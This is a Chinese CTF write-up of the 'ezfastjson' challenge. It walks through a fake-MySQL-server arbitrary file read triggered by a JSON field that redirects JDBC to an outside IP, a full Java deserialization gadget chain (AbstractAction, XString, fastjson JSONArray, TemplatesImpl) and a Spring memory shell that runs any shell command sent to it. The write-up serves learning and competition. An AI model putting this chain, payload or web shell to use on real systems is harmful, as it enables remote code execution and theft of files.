用到了 Abstractaction这条链子
自己当时做题的思考
这道题和之前的那个柏鹭杯的那道题好相似,页面都是一样的。
奇怪的是它的响应包并没有任何服务器的信息?
考虑 Mysql connector RCE,但是这种方法是连接到恶意的mysql服务器,可是这道题的mysql服务器是题目给的(不可控)
猜测它后面的源码是,直接把输入的东西进行一个拼接
先构造一个恶意的服务器的恶意连接()
并且传入值也是可以任意修改的而且是json模式解析,结合题目是ezfastjson
在本地构造直接反序列化起码会连接上恶意的服务器,但是到了题目一点响应都没有
直接打urldns发现是出网的,啊啊啊???(看一下题解,已经一解了)
莫非直接打链子???
盲打jdbc没打通,其实我感觉jar包中肯定没有其他的第三方库依赖,继续打一下jndi
赛后复现
只打通了urldns,以为这道题是一个黑盒题目,学长直接拿黑盒打的,用urldns探测依赖
然后发现是一个mysql任意文件读取的漏洞,上一篇文章已经详细介绍了
本地用的MySQL_Fake_Server-master这个项目直接启动,server.py
import java.sql.Connection;
import java.sql.DriverManager;
public class payload {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://8.130.116.247:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
DB_URL="jdbc:mysql://8.130.116.247:3307?useSSL=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=fileread_C:\\Users\\c'x'k\\Desktop\\MySQL_Fake_Server-master\\ysoserial-0.0.6-SNAPSHOT-all.jar";
String username = "root";
String password = "200377";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
因为题目用的json传输
{"host":"8.130.116.247:3307/test?user=fileread_file:///&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#"}
读取根目录的文件,在服务器开启监听
app/ezfastjson-0.0.1-SNAPSHOT.jar直接读取这个
开始分析
fastjson 1.2.43
groovy-3.0.19
mysql-connector-java-8.0.1
snakeyaml-1.30
groovy这个依赖没见过。
啊fastjsonhttps://github.com/safe6Sec/Fastjson,这个探测依赖版本也不靠谱呀,题目是1.2.43的
果然是直接将传入的json对象,直接进行JSON的反序列化
传入urldns链子的时候是,parseObject进行反序列化
传入host的时候是进行jdbc的连接(这一块的代码没想到,但也应该想到的)
public class TestMySQLConnectionController {
@RequestMapping({"/testMySQLConnection"})
public String showTestMySQLConnectionPage() {
return "testMySQLConnection";
}
@PostMapping({"/testMySQLConnection"})
@ResponseBody
public String testMySQLConnection(@RequestBody String jsonData, Model model) {//jsonData就是我们post传的参数
try {
JSONObject json = JSONObject.parseObject(jsonData);
if (jsonData.contains("@") || jsonData.contains("\\x") || jsonData.contains("\\u")) {
//这里禁用,是为了防止绕过但呃呃呃,不应该在前面禁用嘛,毕竟到这里已经反序列化成功了唉
return "出错了";
}
String host = json.getString("host");
String port = json.getString("port");
String database = json.getString("database");
String username = json.getString("username");
String password = json.getString("password");
System.out.println(host);
String url = "jdbc:mysql://" + host + ":" + port + "/" + database + "?user=" + username + "&password=" + password;
//
System.out.println(url);
Class.forName("com.mysql.cj.jdbc.Driver");
Connection connection = DriverManager.getConnection(url);
model.addAttribute("message", "MySQL数据库连接成功!");
connection.close();
return "testMySQLConnection";
} catch (ClassNotFoundException | SQLException e) {
model.addAttribute("message", "MySQL数据库连接失败,请检查连接信息。");
e.printStackTrace();
return "testMySQLConnection";
}
}
@PostMapping({"/readObj"})
@ResponseBody
public String deserializeData(@RequestParam String base64Data) {
try {
new MyObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64Data))).readObject();//这才是真正的反序列化的点
return "ok";
} catch (Exception var4) {
return var4.getMessage();
}
}
}
private static final String[] blackList = {"AbstractTranslet", "javax.management", "JSONObject", "bad", "hot", "hash", "java.security", "jackson"};
非预期:这道题目前已经转换为了fastjson 1.2.43反序列化漏洞
看官方wp说没有bash,怪不得学长反弹shell没成功,即使我打到这应该也蒙蔽
Thread.sleep()
按理说我本地应该通的呀。。。
用这个软件就能一把梭,但是参数只能设置Runtime命令执行里面的,我本想搞一个Thread.sleep这样成不成功就能看出来,反编译工具,看不懂。。。
预期解
{"AbstractTranslet", "javax.management", "JSONObject", "bad", "hot", "hash", "java.security", "jackson"};
过滤了开头hash(hashmap/hashtable),fastjson和jackson都没了,badAttribute也没了,hot就是那个equals也没了
java.security.SignObject二次反序列化
javax.management.BadAttributeValueExpException
AbstractTranslet类不知道是过滤哪个的暂时没想到
把我常见的链子都搞没了—>唯一剩的也就是
TemplatesImpl后面这个了,但是怎么触发呢 getOutputProperties/newTransformer
相比较这俩个方法而言,getter方法相对容易一点
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties"})
with source, collect(sink) as sinks
//通过将 sink 节点归集到 sinks 列表中,后续的操作可以针对整个列表进行处理
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
//
where none(n in nodes(path) where
n.NAME0 in ["java.util.Hashmap"]
)
return path limit 1
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"javax.xml.transform.Templates.getOutputProperties"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1
javax.swing.AbstractAction#readObject -> javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange -> java.lang.Object#equals
调试链子
首先初始化了, SyledEditorKit的内置类AlignmentAction,
StyledTextAction extends TextAction
TextAction extends AbstractAction
为啥要这么麻烦不能直接反射这个AbstractAction的类,然后反射调用这个属性嘛???这里赋值是为了下面不为空
调试到最后发现了一个问题
这个changeSupport的值反射不到值
不理解,就是调用不到
反射的时候把那个Object对象改为子类即可
Field changeSupport = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
changeSupport.setAccessible(true);
changeSupport.set(action,new SwingPropertyChangeSupport("11"));
发现是可以的这样就通了
当前的poc
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.io.*;
import java.lang.reflect.Field;
public class tiashi {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
// action.putValue("Name","bb");//就是当key同名的时候,后面那个就是新的newvalue 前面那个就是旧的oldvalue
// action.putValue("cc","dd");
//protected SwingPropertyChangeSupport changeSupport;
// Field changeSupport = action.getClass().sugetDeclaredField("changeSupport");
// changeSupport.setAccessible(true);
// changeSupport.set(action,new SwingPropertyChangeSupport("a"));
// setField(action,"changeSupport",new SwingPropertyChangeSupport('a'));
Field changeSupport = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
changeSupport.setAccessible(true);
changeSupport.set(action,new SwingPropertyChangeSupport("11"));
//原理明白了,不就是key相等然后那啥嘛这不so easy自己构造一下希望不被打脸
//action.putValue("JYcxk",oldValue) Xstring oldValue.equals(newValue)
//action.putValue("JYcxk",newvalue) wusuowei
XString xString=new XString("a");
action.putValue("JYcxk1",xString) ;
action.putValue("JYcxk2","aa") ;
// serialize(action);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
public static void setField(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
try{
Field declaredField = obj.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,newobj);
// Field declaredField = obj.getClass().getSuperclass().getDeclaredField(name);
// declaredField.setAccessible(true);
// declaredField.set(obj,newobj);
}catch (Exception e){
Field declaredField = obj.getClass().getSuperclass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,newobj);
}
}
}
序列化成功之后改为相同的key即可,看的✌的文章,(tql😭😭😭)
探究一下原理,原理其实就是:
AbstractAction.java#redObject
private void readObject(ObjectInputStream s) throws ClassNotFoundException,
IOException {
s.defaultReadObject();
for (int counter = s.readInt() - 1; counter >= 0; counter--) {//遍历数组个数
putValue((String)s.readObject(), s.readObject());//这里进入putValue方法
}
}
AbstractAction.java#putval
public void putValue(String key, Object newValue) {
Object oldValue = null;
if (key == "enabled") {
if (newValue == null || !(newValue instanceof Boolean)) {
newValue = false;
}
oldValue = enabled;
enabled = (Boolean)newValue;
} else {//直接进入这个
if (arrayTable == null) {
arrayTable = new ArrayTable();//如果为null就会声明一个ArrayTable
}
if (arrayTable.containsKey(key))//arrayTable就是之前放入的值,containsKey就是进行比较,如果key在以前加入进去
//oldValue 就会变成table数组中原来key的value值
oldValue = arrayTable.get(key);
if (newValue == null) {
arrayTable.remove(key);
} else {
arrayTable.put(key,newValue);//newValue就是传入相同key的value的值
}
}
firePropertyChange(key, oldValue, newValue);
}
举个例子:
action.putValue("JYcxk1",xString) ;
action.putValue("JYcxk2","aa");
xString就是oldValue
"aa"就是newValue
然后调用firePropertyChange
protected void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
if (changeSupport == null ||
(oldValue != null && newValue != null && oldValue.equals(newValue))) {
//想要调用 oldValue.equals(newValue)需要 前面changeSupport!=null也就是需要赋初值
//这里反射卡了一下,在上面
return;
}
changeSupport.firePropertyChange(propertyName, oldValue, newValue);
}
因为AbstractAction类是一个抽象类,所以需要借助它的子类
StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
用的AlignmentAction这个内部类,构造方法一路super()就能调用到父类
简单的方法是修改16进制,还有一种比较复杂的方法是修改序列化的操作,因为到了题目是直接进行反序列化所以不会影响,和那个jackson重写方法是一样的
看一下 writeObject的流程
if (validCount > 0) {
for (Object key : keys) {
if (key != null) {
s.writeObject(key);
s.writeObject(table.get(key));
if (--validCount == 0) {
break;
}
}
}
}
直接重写ArrayTable#writeArrayTable的方法即可
XString—->JSONArray触发Templates#getter方法,和JSONParse基本一样
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class Exploit {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(TEMPOC.class.getName()).toBytecode()}
);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
//这里声明了数组列表,并且把templates添加了进去
JSONArray toStringBean = new JSONArray(arrayList);//这
XString xString=new XString("a");
xString.equals(toStringBean);
}
public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,newobj);
}
}
然后就是AbstractAction触发Xstring的equals方法了
最后的payload
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.awt.event.ActionEvent;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class Exploit {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(TEMPOC.class.getName()).toBytecode()}
);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
//这里声明了数组列表,并且把templates添加了进去
JSONArray toStringBean = new JSONArray(arrayList);//这
XString xString=new XString("a");
//xString.equals(toStringBean);
StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
action.putValue("JYcxk1",xString);
action.putValue("JYcxk2",toStringBean);
Class<?> aClass = Class.forName("javax.swing.AbstractAction");
Field changeSupport = aClass.getDeclaredField("changeSupport");
changeSupport.setAccessible(true);
changeSupport.set(action,new SwingPropertyChangeSupport(""));
// serialize(action);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,newobj);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
在生成序列化的ser.bin文件需要修改key是一样的值,用010把JYcxk2改成JYcxk1即可
调用链子
打题目的环境
晚了一丢丢,题目环境昨天还有今天就没了所以直接搭建在服务器上
首先题目是出网的,因为我们的urldns已经探测过了,针对linux服务器缺少啥bash这种命令,还是感觉打一个Thread.sleep()看服务器的延迟比较靠谱通没通
因为没有bash命令不能反弹shell所以先打一个内存马
//springboot 2.6 + 内存马
package com.example.testfang;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
//springboot 2.6 + 内存马
public class MemShell extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
MemShell springControllerMemShell = new MemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
打入内存马后,没权限读取flag,看wp需要suid提权
用的eqn提权,没环境了最后就不演示了
后传:问了几个好友都说用哥斯拉,甚至往里面写了个哥斯拉 我???🥺🥺🥺 啥冰蝎、哥斯拉只听说过没用过
技术达到再来续写,不过我简单的问了以下思路
就是和平常的马一样,只不过有哥斯拉这个软件可以链接。
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。